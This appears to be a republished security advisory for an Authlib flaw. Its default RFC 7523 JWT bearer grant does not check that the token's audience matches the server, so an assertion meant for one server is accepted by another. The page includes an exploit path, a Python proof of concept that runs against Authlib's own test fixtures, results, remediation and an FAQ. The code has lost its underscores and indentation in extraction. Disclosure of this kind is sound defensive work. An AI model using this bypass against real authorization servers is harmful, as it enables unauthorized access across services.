GHSA-fch4-3c6x-j4gc: Medium severity pip/authlib vulnerability

Published Oct 27, 2026
·
Updated

Description

Summary

Authlib's default RFC 7523 JWT bearer grant leaves getaudiences() empty, so verifyclaims() only checks that an aud claim exists instead of requiring it to match the current authorization server's token endpoint. An attacker holding a legitimately issued JWT assertion for any audience can present it to a different authorization server sharing the same signing key and obtain an access token.

To be completely transparent, AI tools helped surface it. However, we have independently reproduced and carefully validated the issue. We follow responsible disclosure practices and are sharing this privately.

Affected Entrypoints

- authlib.oauth2.rfc7523.JWTBearerGrant — default getaudiences() returns empty list - authlib.jose.jwt.decode() with claimsoptions for audience validation - authlib.integrations.flaskoauth2.ResourceProtector.validaterequest() when audience checking is enabled

Exploit Path

1. Attacker authenticates to Service A (low-privilege) 2. Authorization server issues JWT with "aud": "https://evil.test/token" 3. Attacker presents this assertion to Service B's token endpoint 4. Service B uses default JWTBearerGrant (getaudiences() = []) 5. verifyclaims() only checks aud exists, not its value 6. Service B issues an access token — audience bypass achieved

Proof of Concept

python #!/usr/bin/env python3 """ Demonstrates that the default JWTBearerGrant accepts JWT assertions whose audience does not match the token endpoint, while a strict audience override correctly rejects them. """ import json import os import sys

from joserfc.jwk import KeySet, OctKey

WRONGAUDIENCE = "https://evil.test/token" EXPECTEDAUDIENCE = "https://provider.test/token" GRANTTYPE = "urn:ietf:params:oauth:grant-type:jwt-bearer"

def buildandexercise(strictaudience: bool) -> tuple[int, dict]: from authlib.oauth2.rfc7523 import JWTBearerGrant as BaseJWTBearerGrant # Uses Authlib's own Flask test fixtures from tests.flask.testoauth2.models import Client, User, db from tests.flask.testoauth2.oauth2server import ( createauthorizationserver, createflaskapp, )

class JWTBearerGrant(BaseJWTBearerGrant): def resolveissuerclient(self, issuer): return Client.query.filterby(clientid=issuer).first()

def resolveclientpublickey(self, client): return KeySet([ OctKey.importkey("foo", {"kid": "1"}), OctKey.importkey("bar", {"kid": "2"}), ])

def authenticateuser(self, subject): return None

def hasgrantedpermission(self, client, user): return True

# Only override getaudiences when testing strict mode if strictaudience: def getaudiences(self): return [EXPECTEDAUDIENCE]

app = createflaskapp() os.environ["AUTHLIBINSECURETRANSPORT"] = "true"

with app.appcontext(): db.initapp(app) db.createall()

user = User(username="demo-user") db.session.add(user) db.session.commit()

client = Client( userid=user.id, clientid="client-id", clientsecret="client-secret", ) client.setclientmetadata({ "scope": "profile", "redirecturis": ["https://client.test/authorized"], "granttypes": [GRANTTYPE], }) db.session.add(client) db.session.commit()

server = createauthorizationserver(app) server.registergrant(JWTBearerGrant)

# Sign assertion with WRONG audience assertion = JWTBearerGrant.sign( "foo", issuer="client-id", audience=WRONGAUDIENCE, # <-- Not the expected audience subject=None, header={"alg": "HS256", "kid": "1"}, )

rv = app.testclient().post( "/oauth/token", data={"granttype": GRANTTYPE, "assertion": assertion}, ) body = json.loads(rv.data) db.session.remove() db.dropall() return rv.statuscode, body

def main() -> int: # Test 1: Default grant (no audience enforcement) vulnstatus, vulnbody = buildandexercise(strictaudience=False)

# Test 2: Strict audience grant (correct behavior) strictstatus, strictbody = buildandexercise(strictaudience=True)

result = { "wrongaudience": WRONGAUDIENCE, "expectedaudience": EXPECTEDAUDIENCE, "vulnerablestatus": vulnstatus, "vulnerablebody": vulnbody, "strictstatus": strictstatus, "strictbody": strictbody, } print(json.dumps(result, indent=2, sortkeys=True))

if ( vulnstatus == 200 and "accesstoken" in vulnbody and strictbody.get("error") == "invalidgrant" ): print( "POCSUCCESS: default JWTBearerGrant issued an access token for " "an assertion whose aud did not match the token endpoint, while " "strict audience validation rejected the same assertion." ) return 0

print("POCFAILURE: expected token issuance under default grant " "and invalidgrant under strict audience control.") return 1

if name == "main": raise SystemExit(main())

Observed Result

- Default grant (vulnerable): HTTP 200, accesstoken issued despite aud: "https://evil.test/token" - Strict grant (fixed): HTTP 400, error: "invalidgrant" — correctly rejects mismatched audience - Confirms the default getaudiences() returns empty, so audience validation is effectively skipped

Impact

- Vulnerability Type: CWE-287 — Improper Authentication - An attacker with a valid JWT assertion for any service can use it to obtain tokens from a different service sharing the same signing keys - Particularly dangerous in microservice architectures where services share identity infrastructure - Enables unauthorized access escalation across trust boundaries - The vulnerability is in the default behavior — most integrations won't override getaudiences() --- Credit Reported by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

Affected Software

1 affected componentFixes available
pip/authlib<1.9.0
1.9.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/authlib to a version that resolves this vulnerability.

    Fixed in 1.9.0
  2. Configuration

    Override the default JWTBearerGrant get_audiences() method to return the authorization server's expected token endpoint audience, such as [EXPECTED_AUDIENCE], so JWT assertions with a mismatched aud claim are rejected with invalid_grant.

    Authlib authlib.oauth2.rfc7523.JWTBearerGrant get_audiences() = ["https://provider.test/token"]

Event History

Oct 27, 2026
Advisory Published
via GitHub·03:39 PM
Data Sourced
via GitHub·03:39 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to cross-server token reuse?

Deployments using Authlib's default JWTBearerGrant are exposed when multiple authorization servers share the same JWT signing key. The issue arises because the default audience list is empty, so the assertion audience is not required to match the receiving server's token endpoint.

2

What does an attacker need to exploit this issue?

An attacker needs a legitimately issued JWT assertion for any audience and access to a different authorization server that shares the signing key. They must be able to present that assertion to the second server's token endpoint.

3

Are default JWT bearer grant configurations affected?

Yes. The default JWTBearerGrant get_audiences() implementation returns an empty list, causing verification to check only for the presence of an aud claim rather than requiring a matching audience.

4

How can I determine whether my service is affected?

Review JWTBearerGrant implementations and determine whether get_audiences() is left at its default empty-list behavior. Also identify authorization servers sharing JWT signing keys and check whether they accept assertions issued for audiences other than their own token endpoints.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203